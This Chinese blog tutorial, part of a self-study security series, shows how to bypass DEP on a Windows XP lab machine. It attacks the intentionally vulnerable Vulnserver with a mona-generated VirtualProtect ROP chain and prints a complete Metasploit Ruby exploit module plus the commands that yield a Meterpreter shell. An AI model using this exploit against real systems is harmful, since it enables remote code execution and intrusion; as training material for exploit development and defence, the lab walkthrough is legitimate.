[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell

这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了基于SEH异常处理机制的栈溢出漏洞,利用一个恶意的请求头部(HEAD或GET)引起缓冲区溢出,从而改写SEH链的地址并反弹Shell。本文将讲解DEP堆栈执行保护机制,通过构造ROP链来绕过DEP保护,重点利用VirtualProtect,最终编写漏洞利用脚本并实现自动化攻击。基础性文章,希望对您有所帮助。

本文的内容包括:

  • 了解DEP保护(堆栈执行保护)
  • 理解构造ROP链从而绕过DEP的原理,重点理解利用VirtualProtect
  • 搭建环境:XP系统安装VulnServer、Kali系统控制台利用
  • 验证DEP是否开启
  • 使用Msfconsole进入msf控制台
  • 计算偏移量,利用mona创建ROP链
  • 编写漏洞利用脚本(绕过DEP的Metasploit模块),实现自动化攻击
  • 通过Metasploit反弹Shell

在这里插入图片描述

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

软件安全:https://github.com/eastmountyxz/Software-Security-Course/tree/master/6-Windows-Vulnerability
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
基础工具:https://github.com/eastmountyxz/Security-Software-Based


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包


一.DEP保护

数据执行保护(Data Execution Prevention,DEP)是一套软硬件技术,能够在内存上执行额外检查以帮助防止在系统上运行恶意代码。其基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入Shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

在这里插入图片描述

DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。微软从Windows XP SP2开始提供这种技术支持,根据实现的机制不同可分为:软件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)。

  • 软件DEP其实就是SafeSEH,其目的是阻止利用S.E.H的攻击,这种机制与CPU硬件无关,Windows利用软件模拟实现DEP,对操作系统提供一定的保护。SafeSEH会在校验过程中去检查异常处理函数是否位于非可执行页上。
  • 硬件DEP才是真正意义的DEP,硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection (NX),Intel称之为Execute Disable Bit (XD) ,两者功能及工作原理在本质上是相同的。

在这里插入图片描述

由于Windows XP sp3开启了DEP保护,所以我们要绕过DEP保护才能执行Shellcode,本文采用ROP方式调用VirtualProtect方法绕过DEP。



二.XP系统与Kali网络配置

本实验目的是Kali系统利用Windows XP栈溢出漏洞,以Metasploit溢出bof-server.exe为例,进行攻击及shell反弹。在进行所有实验之前,需要保证虚拟机各系统之间能够相互通信,安装过程详见之前的文章。

第一步,点击“虚拟机”->“设置”。

在这里插入图片描述

第二步,将XP和Kali网络连接属性均勾选成“NAT模式”,然后点击确定。

在这里插入图片描述

第三步,配置后在kali的shell上用ifconfig命令查看主机IP。

  • Kali:ifconfig 192.168.44.129

在这里插入图片描述

在这里插入图片描述

第四步,在Windows的命令行中用ipconfig查看主机IP。

  • XP:ipconfig 192.168.44.130

在这里插入图片描述

同时,主机Win10系统也能够Ping通虚拟机和Kali系统。

在这里插入图片描述

在这里插入图片描述



三.验证DEP是否开启

bof-server下载地址:Eastmount Github


第一步,在CMD中运行bof-server.exe服务器软件,端口是4242。

bof-server.exe 4242

在这里插入图片描述

第二步,为了验证DEP是否开启,我尝试用Python编写1024个A字符串,并发送给XP系统的缓冲区。

python -c "print('A'*1024)"
telnet 192.168.44.130 4242

在这里插入图片描述

复制1024个字符并发送,如下图所示:

在这里插入图片描述

此时,XP系统显示栈溢出漏洞,并提示相关的报错点Offset地址。

在这里插入图片描述

在这里插入图片描述

第四步,由于DEP已经被关闭(详见第五十三篇博客),这里需要将其打开。

第一种方法,此时显示关闭的,因为之前简单栈溢出实验我们手动关闭了。右键"我的电脑"->“属性”->“高级”->“性能设置”->“数据执行保存”->选择"为除下列选定程序之外的所有程序和服务启用DEP (U)"->“确定”。从而打开Windows XP系统的DEP保护。

在这里插入图片描述

但此时按钮显示灰色,并提示你修改boot.ini文件。


第五步,点击“启动和故障恢复设置”->“编辑”,然后输入对应的字符变量。

在这里插入图片描述

我们将“noexecute=AlwaysOff”修改为“noexecute=AlwaysOn”,表示开启DEP堆栈执行保护,接着重启电脑。

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" 
/noexecute=AlwaysOn /fastdetect
  • Alwaysoff:关闭DEP
  • AlwaysOn:开启DEP
  • Optin :开启DEP

在这里插入图片描述

第六步,我们设置完成之后,重启XP系统并再次打开bof-server.exe服务。Kali系统继续发送字符串。

在这里插入图片描述

此时XP系统报错如下,它是已经被数据执行保护,并且无法看到偏移位置。

在这里插入图片描述


四.开启Vulnserver监听服务

Vulnserver下载地址:Eastmount Github


第一步,设置文件共享,并将文件Vulnserver分享至XP系统。

在这里插入图片描述

在这里插入图片描述

第二步,以管理员打开命令行CMD,并运行Vulnserver程序。

在这里插入图片描述

在Windows XP系统的命令行中切换到vlunserver.exe所在的目录,执行如下命令,监听端口为6666。

vlunserver.exe 6666

在这里插入图片描述

第三步,此时Kali系统能够与XP服务器进行通讯,通过输入HELP可以查看对应的帮助信息。

telnet 192.168.44.130 6666
HELP

在这里插入图片描述



五.Immunity Debugger分析Vulnserver进程

第一步,打开Immunity Debugger软件,依次选择ImmunityDebugger的File->Attach,显示目标机上运行的所有进程。

在这里插入图片描述

第二步,选中“vulnserver”软件并点击按钮Attach,显示该进程相关信息。

在这里插入图片描述

运行如下图所示:

在这里插入图片描述

第三步,此时右下角标记为“Paused”,点击运行Play按钮让其处于“Running”状态。

在这里插入图片描述


接着我们需要使用Immunity Debugger的插件Mona,将Python脚本下载并复制到安装的文件夹下。下载地址:https://github.com/corelan/mona

第四步,将mona.py复制到XP系统目录。

  • C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

在这里插入图片描述

在这里插入图片描述

第五步,选中View->Log菜单,在Immunity Debugger命令行下输入如下“!mona modules”命令启动Mona分析DLL文件。

!mona modules

在这里插入图片描述

在这里插入图片描述

第六步,从输出很多DLL文件中找到msvcrt.dll文件,并导出复制至Kali系统。

  • C:\Windows\system32\msvcrt.dll

在这里插入图片描述

在这里插入图片描述



六.Kali查找ROP指令片段

第一步,将XP系统的C:\Windows\system32\msvcrt.dll上传到Kali目录下。
注意,作者采用的是百度云网盘在虚拟机、主机之间共享文件,也可以设置共享文件夹。

在这里插入图片描述

在这里插入图片描述

第二步,使用工具Metasploit的msfrop进行ROP片段提取。

msfconsole
msfrop -v -s "pop cex" /root/msvcrt.dll

在这里插入图片描述

在这里插入图片描述

注意:该部分内容是帮助大家熟悉ROP片段分析功能,后续其他实验会用到。



七.获取偏移地址

这是至关重要的步骤,通过查看vulnserver源代码,发现当发送字符串超过3000时会造成栈溢出,这里通过下面的方式计算偏移量。

在这里插入图片描述

对应的源代码如下,它也是漏洞点。此处采用的方法是Immunity附加进程后,在服务端发送3000个字符计算偏移。

在这里插入图片描述


第一步,重新运行vulnserver服务器。

vulnserver.exe 6666

在这里插入图片描述

第二步,在Kali系统中,通过命令生成3000个字符。

msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

在这里插入图片描述

在这里插入图片描述

第三步,打开Immunity Debugger软件,并且选中“vulnserver”服务点击“Attach”,监听运行着的服务。注意,点击运行Play按钮让其处于Running状态。

在这里插入图片描述

第四步,通过Kali系统建立远程连接,并调用TRUN指令发送字符串。

telnet 192.168.44.130 6666
HELP
TRUN .Aa0........(复制3000个字符)

在这里插入图片描述

第五步,回到XP系统,此时的Immunity Debugger软件处于暂停状态,我们记住EIP值。通过该值来查询对应的Offset。

在这里插入图片描述

EIP:396F4338

在这里插入图片描述

第六步,通过pattern_offset.rb计算偏移量。

  • -q 396F4338 -l 3000
msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338 -l 3000

在这里插入图片描述

记住这个偏移量:2006,它将写入我们的攻击脚本。



八.创建ROP链

接着,我们需要构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode。


第一步,我们重新在CMD中启动vulnserver服务,调用Immunity Debugger软件并处于监听状态。
在ImmunityDebugger命令行输入如下命令:

!mona rop -m *.dll -cp nonull

在这里插入图片描述

执行后,需要等待几分钟,会在ImmunityDebugger安装目录下生成一个rop_chains.txt文件。

  • C:\Program Files\Immunity Inc\Immunity Debugger

在这里插入图片描述

第二步,打开rop_chains.txt文件,找到如下代码片段。

在这里插入图片描述

核心代码片段如下,我们需要将其复制到Ruby攻击脚本中。

*** [ Ruby ] ***

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = 
    [
      0x77c10b7f,  # POP ECX # RETN [msvcrt.dll] 
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d5373d,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] 
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll] 
      0x75c87aea,  # POP EBP # RETN [urlmon.dll] 
      0x625011af,  # & jmp esp [essfunc.dll]
      0x7c87f229,  # POP EAX # RETN [kernel32.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x719ec15c,  # NEG EAX # RETN [mswsock.dll] 
      0x7c9259c8,  # XCHG EAX,EBX # RETN [ntdll.dll] 
      0x769e8c83,  # POP EAX # RETN [ole32.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77eba3d7,  # NEG EAX # RETN [RPCRT4.dll] 
      0x7c8409d4,  # XCHG EAX,EDX # RETN [kernel32.dll] 
      0x10012c12,  # POP ECX # RETN [USP10.dll] 
      0x71a15fd2,  # &Writable location [WS2HELP.dll]
      0x719e4889,  # POP EDI # RETN [mswsock.dll] 
      0x77e6c786,  # RETN (ROP NOP) [RPCRT4.dll]
      0x76f0c426,  # POP EAX # RETN [DNSAPI.dll] 
      0x90909090,  # nop
      0x60ff9206,  # PUSHAD # RETN [hnetcfg.dll] 
    ].flatten.pack("V*")

    return rop_gadgets

  end

  # Call the ROP chain generator inside the 'exploit' function :

  rop_chain = create_rop_chain()

第三步,将这段代码拷贝到Github的Ruby攻击脚本中,用于绕过DEP的Metasploit模块,并渗透反弹Shell。

rop_attack.rb源代码:

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DEP Bypass Exploit',
      'Description'    => %q{
        		  DEP Bypass Using ROP Chains Example Module
      			  },
      'Platform'       => 'Windows',
      'Author'         => 'yxz',
      'Payload'        =>
        		  {
          		  'space'     => 312,
          		  'BadChars'  => "\x00"
        		  },
      'Targets'        =>
      		  	  [
          		    [
			    'Windows XP',
			    {'Offset'  => find it}
			    ]
        		  ],
      'DisclosureDate' => '2020-02-26'))
  end

  def create_rop_chain()
    # rop chain generated with mona.py - www.corelan.be
  end

  def exploit
    connect
    rop_chain = create_rop_chain()
    junk = make_nops(target['Offset'])
    buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
    sock.put(buf)
    handler
    disconnect
  end
end

需要修改两个值,offset对应为2006,def create_rop_chain()函数为我们从rop_chains.txt文件中复制来的代码。

完整代码:

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DEP Bypass Exploit',
      'Description'    => %q{
        		  DEP Bypass Using ROP Chains Example Module
      			  },
      'Platform'       => 'Windows',
      'Author'         => 'yxz',
      'Payload'        =>
        		  {
          		  'space'     => 312,
          		  'BadChars'  => "\x00"
        		  },
      'Targets'        =>
      		  	  [
          		    [
			    'Windows XP',
			    {'Offset'  => 2006}
			    ]
        		  ],
      'DisclosureDate' => '2020-02-26'))
  end

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = 
    [
      0x77c10b7f,  # POP ECX # RETN [msvcrt.dll] 
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d5373d,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] 
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll] 
      0x75c87aea,  # POP EBP # RETN [urlmon.dll] 
      0x625011af,  # & jmp esp [essfunc.dll]
      0x7c87f229,  # POP EAX # RETN [kernel32.dll] 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x719ec15c,  # NEG EAX # RETN [mswsock.dll] 
      0x7c9259c8,  # XCHG EAX,EBX # RETN [ntdll.dll] 
      0x769e8c83,  # POP EAX # RETN [ole32.dll] 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77eba3d7,  # NEG EAX # RETN [RPCRT4.dll] 
      0x7c8409d4,  # XCHG EAX,EDX # RETN [kernel32.dll] 
      0x10012c12,  # POP ECX # RETN [USP10.dll] 
      0x71a15fd2,  # &Writable location [WS2HELP.dll]
      0x719e4889,  # POP EDI # RETN [mswsock.dll] 
      0x77e6c786,  # RETN (ROP NOP) [RPCRT4.dll]
      0x76f0c426,  # POP EAX # RETN [DNSAPI.dll] 
      0x90909090,  # nop
      0x60ff9206,  # PUSHAD # RETN [hnetcfg.dll] 
    ].flatten.pack("V*")

    return rop_gadgets

  end

  def exploit
    connect
    rop_chain = create_rop_chain()
    junk = make_nops(target['Offset'])
    buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
    sock.put(buf)
    handler
    disconnect
  end
end


九.Kali执行Exploit

第一步,将rop_attack.rb脚本上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/meterpreter/目录下。

cp ./rop_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
ls

在这里插入图片描述

第二步,运行攻击脚本并拿到了目标服务器的Meterpreter Shell。

  • 启动msf控制台
    msfconsole
  • 运行ruby脚本
    use exploit/windows/meterpreter/rop_attack.rb
  • 设置目标服务器IP地址(Windows XP系统)
    set RHOST 192.168.44.130
  • 设置目标服务器端口
    set RPORT 6666
  • 查看配置信息
    show options

在这里插入图片描述

第三步,调用exploit命令对栈溢出漏洞进行攻击。再输入ls,可以看到我们目标XP服务器的E盘内容已经被提权,这就是所谓的Windows漏洞利用。

在这里插入图片描述

在这里插入图片描述

上面“ls”命令对应的内容即为XP系统E盘的文件,如下图所示。

在这里插入图片描述

我们在执行这些操作过程中,XP系统的服务需要一直运行,处于监听状态。某些情况可能会提示错误“Exploit completed, but no session was created”,建议大家在目标机上多运行几次服务和在Kali上多运行几次exploit,直到成功拿到Meterpreter Shell。

在这里插入图片描述

总结:本实验通过构建ROP链成功绕狗DEP保护,最终拿到Shell。



十.总结

文章写到这里,就介绍完毕,希望文章对您有所帮助,尤其是文章扩展的几个工具,您下来也可以详细学习。这篇文章主要讲解了如果搭建XP和Kali环境,通过构造ROP链来绕过DEP保护,重点利用VirtualProtect,最终编写漏洞利用脚本并实现自动化攻击反弹Shell。该绕过DEP栈溢出的具体流程包括:

  • 搭建环境:XP系统安装VulnServer、Kali系统控制台利用
  • 验证DEP是否开启
  • 使用Msfconsole进入msf控制台
  • 计算偏移量Offset,利用mona创建ROP链
  • 编写Ruby漏洞利用脚本(绕过DEP的Metasploit模块),实现自动化攻击
  • 通过Metasploit反弹Shell

虽然是非常基础的一篇文章,但希望读者阅读并完成文章的实验。接下来作者将继续学习并分享更多的Windows漏洞利用或网络安全的文章。最后给出相关的命令。

Kali系统:

telnet 192.168.44.130 6666
msfconsole
msfrop -v -s "pop cex" ./msvcrt.dll
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338 -l 3000
cp ./rop_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
msfconsole
use exploit/windows/meterpreter/rop_attack.rb
set RHOSTS 192.168.44.130
set RPORT 6666
show options
exploit
ipconfig
ls

Windows系统:

vulnserver.exe 6666
!mona modules
!mona rop -m *.dll -cp nonull

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第54篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!

欢迎大家讨论,是否觉得这系列文章帮助到您!如果存在不足之处,还请海涵。任何建议都可以评论告知读者,共勉~

武汉加油!湖北加油!中国加油!!!

(By:Eastmount 2020-03-03 凌晨1点写于贵阳 http://blog.csdn.net/eastmount )


参考文献:
[1]《软件安全》课程Windows漏洞利用实验 YH师弟
[2] https://github.com/corelan/mona
[3] Windows漏洞利用系列软件 - Eastmount
[4] DEP原理及关闭 - 淡淡的琉璃
[5] 渗透之——使用Metasploit编写绕过DEP渗透模块 - 冰河大神
[6] Rop实战之利用VirtualProtect绕过DEP - 五千年木
[7] 利用ROP链突破DEP保护机制 - Puzzor
[8] 利用 ROP 技术绕过 DEP 保护的一次简单尝试 - 墨鱼菜鸡

发布了450 篇原创文章 · 获赞 6274 · 访问量 498万+
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 书香水墨 设计师: CSDN官方博客

分享到微信朋友圈

×

扫一扫,手机浏览